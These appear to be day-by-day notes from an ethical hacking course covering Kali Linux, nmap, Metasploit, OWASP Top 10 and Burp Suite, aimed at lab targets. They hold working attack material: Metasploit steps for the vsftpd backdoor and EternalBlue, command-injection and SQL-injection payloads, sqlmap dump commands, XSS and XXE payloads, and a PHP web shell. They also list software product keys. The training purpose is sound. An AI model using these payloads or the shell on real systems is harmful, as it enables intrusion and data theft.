811 3216 7637

117170
==============

Day 1 - Module 1 - 5/9/23

=========================

Introduction to Ethical Hacking

What is Hacking
Who is a Hacker?
Skills of a Hacker
Types of Hackers
Reasons for Hacking
--------------------------------

Week Point / Vulnerability

Types of Hacker:
White Hat Hacker = Ethical Hacking or Hacker
Black Hat Hacker = Unethical Hacker
Grey Hat Hacker = Both White & Black

Mr Robot

Skills
------

Kali Linux
Networking
Programing
Vulnerabilty
Vulnerabilty Testing
Vulnerabilty Exploit
Security
etc..

Hacking Lab Setup

-----------------

Task:

Download files ->

VMware = [Link]

Kali Linux = [Link]

7zip = [Link]

Servers Metasploitable 2 =
[Link]

Bee Box = [Link]

Windows 7 =
[Link]
ng

[Link]
1_vl_build_x64_dvd_u_677791.iso

Windows 10 = [Link]

------------------------------------------------------------------------------------
06/09/23

Day 2 - Module 1 - 06/09/23

================

Hacking Lab Setup

-----------------

VMware = MC60H-DWHD5-H80U9-6V85M-8280D

Kali Linux

Windows 7 pro = AXBS6-LR9OV-MEYF5-RMJB9-UCRT2P

Windows 10 pro = W269N-WFGWX-YVC9B-4J6C9-T83GX

Linux server

Task: Setup Your hacking lab

---------------------------------------------------------------------------
07/09/23

Day 3 - Module 1 - 07/09/23

================
Who is at risk for Hacking Attacks?
Effects of computer hacking on an organization
Essential Terminology
Kali Linux fundamentals
----------------------------------------------

Attack
Vulnerability - Week Points, Loop Hole
Threat -
Risk -

Linux Based OS
--------------
Apple -> MAC, IOS
Google -> Android
Offsec -> Kali Linux

Whax -> Whoppix -> Backtrack -> Kali

Basics of Computer
Networking

Kali File System

FHS - Filesystem Heirarchy Standard

Root Directory / Folder = /

Home Directory = ~

OS Interface:
GUI -
CLI - Command Line Interface

User:
Root / Admin
Normal - raj, sneha, rocky

pwd = present working directory

Commands:

pwd
ls
cd Desktop
cd ..
cd /
cd
mkdir folder-name
rmdir folder-name
touch file-name
rm file-name

Task:
-----

How to copy file and folder in kali?

How to move file and folder in kali?
How to rename file and folder in kali?
How to edit a file?
How to read a file?
How to update kali?
How to upgrade kali?

---------------------------------------------------------------------
11/09/23

Day 4 - Module 1 - 11/9/23

==========================

Top Information Security Attack Vectors

Types of Attacks on a System
Advance Commands in kali linux
------------------------------

DOS & DDOS

Brute Force
Malware

Injection
Shell File upload
XSS
Brute Force
XML
etc..

Commands:
---------
cp file-name folder-name/
mv file-name folder-name/
mv file-name new-file-name
rm file-name
rm -rf folder-name
rmdir folder-name
nano file-name
sudo apt update
sudo apt upgrade
sudo apt install tool-name
passwd
sudo su
passwd kali
adduser username
su username
sudo cat /etc/shadow

Task: How to create a user group?

How to add users in a group?
File permissions

[Link]

------------------------------------------------------------------------
12/9/23

Day 5 - Module 1 - 12/9/23

==========================

What is Ethical Hacking

Why Ethical Hacking is Necessary
Scope and Limitations of Ethical Hacking
Hacking Phases
-----------------------------------------

Hacking Phases:

Reconnaissance - Basic Info Gather

Scanning -
Gain Access -
Maintain Access -
cover Tracks -
Report Writing -

Reconnaissance:
Domain name, Subdomain, IP, Web Technologies, Email, phone, dns

OSINT (Open Source Intelligence)

--------------------------------

Target: microsoft

URL = [Link]
Domain = [Link]

Commands:

subfinder -d [Link]

theHarvester -d [Link] -b bing

nslookup [Link]

Wappalyzer browser extension for web technologies info

Email & Subdomin = [Link]

dnsrecon -d [Link] -t std

Task: Research about Maltego CE.

----------------------------------------------------------------
13/9/23

Day 6 - Module 2 - 13/9/23

===========================

Introduction to Network Security

Introduction to Networking
--------------------------------

Types of Network
LAN - Local Area Network
WAN (Internet) - Wide Area Network

ISP - Internet Service Provider

JIO, Airtel, BSNL, Vodafone, Broadban

Address
Physical = MAC (Media Access Control)
Virtual = IP (Internet Protocol)

Types of IP
Private IP = No Internet
Public IP = Internet

Ip Check
ipconfig -> windows
ifconfig -> Kali linux
Public ip check = [Link]

Ports & Protocols

Physical = usb, hdmi, etc..
Virtual = 65535

21 - ftp (File Transfer Protocol)

80 - http
443 - https

IP Version
IPv4 = [Link]
4 Octet
0 min
255 max
[Link]
[Link]

4 billion

IPv6 = 2401:4900:1c2b:e4c3:441d:23d4:4ce6:8c67
8
128

[Link].54 - N | N
[Link].1 - N | N
[Link] - V | V
[Link] - V | N
[Link] - V | V
256.256.256 - N

[Link]
[Link]
[Link]
[Link]
[Link]
[Link]

Task: Study about Well Known Ports.

-----------------------------------------------------------------

Day 7 - Module 2 - 14/9/23

==========================
3 way handshake
TCP & UDP
Wireshark
-----------------

you (Hi) -> Packet (your ip, your dst ip, your port no, your dst port, your mac, your dst mac,
protocol, etc...) -> router ->

Wireshark
---------

Network Trafic Monitoring

Network Packet Analysis
Network Packet Capture

Ping -> icmp Protocol

TCP - Transmission Control Protocol

UDP - User Datagram Protocol

You ---> [Link]

SYN ->
SYN, ACK <-
ACK ->

Transfer data

UDP

Transfer data

Task: Practice Wireshark

-----------------------------------------------------------------

Day 8 - Module 2 - 18/9/23

==========================

Information Gathering
Scanning a Network
Nmap Tool
---------------

Nmap = Network Mapper

Open Ports and Protocol / Service Scanning
Service Version Scanning
OS Detection
Script Scanning

Commands:

nmap ip
nmap -p1-65535 ip
nmap -p80 ip
nmap -p80,21,54 ip

nmap [Link]

nmap -O ip
nmap -A ip

nmap -p21 --script=[Link] ip

sudo nmap -p1-65535 -sV -O [Link]

Task: Scan metasploitable2 study about services.

[Link]

-----------------------------------------------------------------

Day 9 - Module 2 - 19/9/23

==========================

Attacks using Metasploit framework

Eternalblue Exploit
Metasploitable2 vsftpd exploit
----------------------------------

Metasploit-Framework

Find Vulnerability -> Vulnerability Exploit ->

Scan
Find Vuln
Exploit
Create payload (malware/Virus)

RHOST = Remote Host (Target IP)

RPORT = Remote Port (Target Port)

LHOST = Attacker IP
LPORT = Attacker Port

Metasploit-Framework:
RHOST -> Target IP Address
RPORT -> Target Port No
LHOST -> Attacker IP Address
LPORT -> Attacker POrt No

Metasploitable 2 port no 21 vsftpd 2.3.4 backdoor exploit commands:

-------------------------------------------------------------------
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set rhost [Link]
show options
exploit

meterpreter> id
meterpreter> whoami
meterpreter> ls
meterpreter> pwd

Windows 7 sp 1 Exploit:
-----------------------
445 - SMBv1

Commans:

nmap --script=smb-vuln* [Link]

msfconosle
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhost [Link]
show options
exploit

meterpreter> sysinfo
meterpreter> shell
meterpreter> screenshare
meterpreter> help

Task: Exploit Windows 7 and Metasploitable 2

 Create a report on it and submit

--------------------------------------------------------------

Day 10 - Module 3 - 20/9/23

===========================

Introduction to Web Application

-------------------------------

VAPT
Website -> WAPT
Network -> NPT

Website -> Web Technologies

HTML, PHP, JavaScript, CSS, etc..

Database -> MySQL, Postgresql etc..
Web Server -> Apache, Nginx, IIS etc..
Server (Computer) ->

.html = Hypertext Markup Language

Html tags

.php = Personal Home Page

Code:

<!DOCTYPE html>

<html>

<head>
<title>WAPT</title>
</head>

<body>
<h1>This is hed</h1>
<marquee>Mr. Hacker</marquee>
<p>This is para</p>

<?php
echo "This is PHP";
?>
</body>

</html>

Save this file as .php

Web Root =

Apache2 = /var/www/html/

service apache2 start

service apache2 stop

Task: Create a webpage and access the webpage through apache server in kali

----------------------------------------------------------------

Day 11 - Module 3 - 21/09/23

============================

HTTP Protocol
HTTP Request
HTTP Response
HTTP Methods
HTTP Status Codes
Client Server Communication
----------------------------

Browser (Client) --http request methods--> Server

Browser (Client) <--http Response codes-- Server

Request Method
GET Request -> [Link]
POST Request
etc..

Response codes
100 - 199 (Info)
200 - 299 (Success)
300 - 399 (Redirect)
400 - 499 (Client Error)
500 - 599 (Server Error)

Live Server Hosting

Hosting = Amazon, google, microsoft azure, linod, godaddy etc..

Free Hosting = 000webhost, wix, infinityfree, etc...
Free Domain

[Link]
[Link]
[Link]

[Link] -> 72 hr

http
+ ssl certificate
https

Task: Create a webpage and send me your website address.

---------------------------------------------------------

Day 12 - Module 3 - 25/9/23

============================

HTTP Security (HTTPS)

Web servers
Application servers
Database servers
------------------------------

80 - http

[Link]

443 - https (Secure)

[Link]

Web Server = Static Content / Static Website

Application Server = Dynamic Content / Dynamix Website

Database Server = Store web content

XAMPP Software = [Link]

Apache
MySql
Wordpress

Server = Computer

xampp apache web root directory = C:\xampp\htdocs

Xampp mysql database = [Link]

C:\xampp\htdocs\wordpress\[Link]

/** The name of the database for WordPress */

define( 'DB_NAME', 'wordpress' );

/** Database username */

define( 'DB_USER', 'root' );

/** Database password */

define( 'DB_PASSWORD', '' );

Task: Create a wordpress website

------------------------------------------------------------

Day 13 - Module 4 - 26/09/23

============================

Open Web Application Security Project (OWASP)

Injection
HTML Injection
OS Command Injection
---------------------------------------------

OWASP TOP 10 = [Link]

OWASP = Open Web Application Security Project

Top 10 Vulnerability List

Injection
---------
Bypass Login pages
Database
Website Defacement
etc..
HTML Injection
OS Command Injection
SQL Injection
etc..

Web Site Input Fields

---------------------
Login Page
Feedback
Comments
Search
Name = <h1>Raj Singh</h1>
email = raj@[Link]
phone = 9755858555
etc..

HTML Injection
--------------
<h1>Type your text</h1>

OS Command Injection
--------------------
[Link];ls
[Link];pwd
[Link];cat /etc/passwd
[Link];hostname

[Link]&&ls

Task: Practice html & os command injection

-----------------------------------------------------------

Day 14 - Module 4 - 27/9/23

===========================

Broken Authentication
SQL Injection
---------------------

SQL = Structured Query Language

website --------------sql---------------> database

Database Name = account

Table Name = users
id | name | phone | user | pass
------------------------------------------------
1 raj 98454 raj123 123456
2 abc 845848 abc123 45889

Username: raj123; Password: 123456 --------------->

raj123=raj123 True
12345=123456 False

SQL Injection Authentication Bypass

Username: admin'or'1'='1
Password: admin'or'1'='1

Username: raj123
Password: admin'or'1'='1

[Link]

Union Based SQL Injection

--------------------------

[Link]
[Link]

[Link]
Image Missing
Data Missing
Error

Target URL = [Link]

Tool: sqlmap

Commands:
---------

sqlmap -u [Link] --dbs

sqlmap -u [Link] --tables -D acuart

sqlmap -u [Link] --columns -T users -D acuart

sqlmap -u [Link] --dump -C

name,address,uname,pass -T users -D acuart
sqlmap -u [Link] --dump -T users -D acuart

Task: Perform sql injeciton on [Link]

------------------------------------------------------------------------------------

Day 15 - Module 4 - 03/10/23

============================

Sensitive Data Exposure

Directory Brute-Forcing
XML External Entities (XXE)
----------------------------

Tool: dirb (CLI) / dirbuster (GUI)

dirb [Link]

XML External Entities (XXE)

---------------------------

Burp Suite

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root
[
<!ENTITY XXE SYSTEM
"[Link]
]>
<reset><login>&XXE;</login><secret>Any bugs?</secret></reset>

Task: Perform Directory Brute-Forcing on [Link] [Link]

---------------------------------------------------------------------------

Day 16 - Module 4 - 4/10/23

===========================

Broken Access Control

Security Misconfiguration
-------------------------
id | name | phone | user | pass | email | addr
-------------------------------------------------------------------------
1 raj 98454 raj123 123456 raj@[Link] Punjab
2 abc 845848 abc123 45889 abc@[Link] Delhi
3 Akshy 7985498 aks123 abc123 akshy@[Link] Kolkata

IDOR (Insecure Direct Object References) Vulnerability / Attack

----------------------------------------------------------------

GET /rest/basket/6 HTTP/1.1 -> GET /rest/basket/4 HTTP/1.1

[Link] -> [Link]

Security Misconfiguration
-------------------------

Weak Credentials

Username: admin
Password: admin

VPLE Download link = [Link]

Task: Perform Broken Access Control

--------------------------------------------------------------------------

Day 17 - Module 4 - 5/10/23

============================

XSS
---

Cross Site Scripting

Input Fields
Search Box
Name = Raj
Phone = 9798989
Email = raj@[Link]
Comments
Feedback
etc..

Malicious Code
 JavaScript
HTML

<script>alert("Mr. Hacker")</script>

<script>[Link]="<h1>Hacked by Raj</h1>"</script>

Type of XSS
Reflected
Stored

Task: Perform XSS Stored Attack on DVWA -> Result Hacked by Student Name

-----------------------------------------------------------------

Day 18 - Module 4 - 9/10/23

===========================

Insecure Deserialization
Using Components with Known Vulnerabilities
Insufficient Logging and Monitoring
--------------------------------------------

Insecure Deserialization

serialization

www ------> Database

pass123 --- 0001011110101101010 --> pass123 -> Database

pass123 --- Malicious Data --> RCE -> Server

Cookie Packet

Command:
--------
nc -lnvp 4444

[Link]

python3 [Link]

Using Components with Known Vulnerabilities

-------------------------------------------
Insufficient Logging and Monitoring
------------------------------------

Task: Practice Using Components with Known Vulnerabilities & Insufficient Logging and
Monitoring

---------------------------------------------------------------------------------------------------------------------------
----------------------------------------

Day 19 - Module 5 - 10/10/23

============================

Burp Suite
Introduction to Burp Suite
Lab Setup
Working of proxy in Burp Suite
(Buy product)
---------------------------------

Proxy IP : [Link]
Proxy Port : 8080

GET / HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Post Parameter Tempering

[Link]

{"balance":0,"cost":0}

Task: [Link]

---------------------------------------------------------------------
Day 20 - Module 5 - 11/10/23
============================

Working of Intruder in Burp suite

Different Attack Types(sniper, Battering Ram, Pitch Fork and cluster bomb)
Working of Repeater in Burp Suite
--------------------------------------------------------------

Intruder
--------

Sniper:
1 Wordlist
admin
password
root
test

Useraname | Password
---------------------
xyz pass123

admin pass123
password pass123
root pass123
test pass123

xyz admin
xyz password
xyz root
xyz test

Battering ram:
1 Wordlist
admin
password
root
test

Useraname | Password
---------------------
xyz pass123

admin admin
password password
root root
test test

Pitchfork:
2 Wordilst
User | Pass
-----------
admin pass
root toor
abc test
test def
xyz

Useraname | Password
---------------------
xyz pass123

admin pass
root toor
abc test
test def

Cluster bomb:
2 Wordlist
User | Pass
-----------
admin pass
root toor
abc test
test def
xyz

Useraname | Password
---------------------
xyz pass123

admin pass
admin toor
admin test
admin def
admin xyz
root pass

Repeater
--------
Task: Perform Brute force on [Link]

--------------------------------------------------------------------

Day 21 - Module 5 - 12/10/23

============================

Decoder and Encoder

-------------------

Decoder
Comparer
Extensions

Account Bal : 100; Product : 50

Hash cracking = [Link]

[Link]

Task: Practice Decoder and Comparer.

[Link]

--------------------------------------------------------------------------------

Day 22 - Module 6 - 16/10/23

=============================

Vulnerability Analysis
Introduction to CVSS Scoring
CVSS Calculation
Risk Rating
Severity level analysis
Color coding
------------------------------

Vulnerability Number = CVE Details (CVE-2023-5322) = [Link]

Risk Rating => (0.0 - 10.0) CVSS (Common Vulnerability Scoring System) =
[Link]

Severity level analysis = None, Info, Low, Medium, High, Critical

[Link]

CTF = [Link]

Host = [Link]
Port = 2220
Username = bandit0
Password = bandit0

ssh bandit3@[Link] -p 2220

Task: CTF = [Link]

--------------------------------------------------------------------------------

Day 23 - Module 7 - 17/10/23

============================

Mitigations
SQL Injection Mitigations
Input Validation
Mitigations to HTML Injection
Mitigations to XSS
Mitigations to Directory Traversal | Demo
-----------------------------------------

Input Validation

Login Page Bypass

Username: admin' or '1'='1
Password: admin' or '1'='1

Bad Character = ''""()--=#^&*<>/

White List = a-z,0-9

Black List = ''""()--=#^&*

Input Field:
Name - a-z, max 15
Phone - 0-9, max 10
Email - @. a-z, 0-9, max 20
etc..

Directory Traversal
-------------------
Patch Traversal
Dot Dot Slash (../) Attack

Web Root Directory = /var/www/html/

[Link], .php, .css.
javascript, xyz-folder, etc..

[Link]

[Link]

[Link]

/etc/passwd

Task: Bypass High level security in bwapp.

---------------------------------------------------------------------------------

Day 24 - Module 7 - 18/10/23

============================

File Upload Vulnerability

-------------------------

Upload Vuln
File Upload Vuln
Shell File Upload Vuln

Upload Options:
CV Upload - .pdf, .doc | .html, .php, .js, .png, etc...
Photo Upload - .jpeg, .png | .pdf, .html, .php
Video Upload - .mp4, .mkv
etc..

Security:
Upload Validation
White List - .jpeg, .png

Magic Number

File Data / Format

WAF = Web Application firewall

Php Shell file code:

<?php
echo system($_GET["cmd"])
?>

Save as .php

[Link] = [Link]

Task: Perform shell file upload on dvwa website.

---------------------------------------------------------------------------------

Day 25 - Module 7 - 19/10/23

============================

Mitigations to File Inclusion | Demo

Mitigation to security Misconfiguration
Mitigation to Sensitive Data Exposure
Mitigations to Host Header Injection
Mitigations to XML Injection
---------------------------------------

Mitigation of File Inclusion

Mitigation of Security Misconfiguraiton

Host Header Injection

---------------------

HTTP Request Header:

GET /hostheader_1.php HTTP/1.1

Host: [Link]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=kpdnauevgrbnci67b57qqmcla1; security_level=0
Upgrade-Insecure-Requests: 1

Host Header Modify:

 Host: [Link]
X-Forwarded-Host: [Link]

Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
----------------------------------------------------------------
use exploit/multi/http/php_cgi_arg_injection
show options
set rhost [Link]
exploit

Task: Exploit php vulnerability on dvwa

---------------------------------------------------------------------------------

Day 26 - Module 8 - 20/10/23

============================

Report Writing
Detailed Reporting of Vulnerabilities with Risk Rating
Findings
Mitigations
Steps to Reproduce
Support Evidence
-------------------

Acunetix, Nessus, Burp-Pro ($)

OWASP Zap (Free)

sudo apt update

sudo apt install zaproxy -y

Task: [Link] -> Submit vulnerability Scanning report.

-------------------------------------------------------------------

Day 27 - Module 9 - 23/10/23

============================

Interview Preparation and Wrap up

----------------------------------
CV

Pentester
SOC
Cloud Security
IoT Security
Malware Ana

Keywords
Cloud Security 20%
Network Vapt 80%
Linux 100%

CEH Certificate
Comptia Security+

OSCP Certificate

48 hr

24 hr -> 6-7 hack

24 hr -> Report

--------------------------------------------------------------------------

Day 28 - Doubt Class - 25/10/23

===============================

SOC

Pentester

Malware

Cloud Security

Tor Project

Public IP --------- airtel ----- vpn -- tor ----> [Link]

.com, .in, gov etc...

.onion

[Link]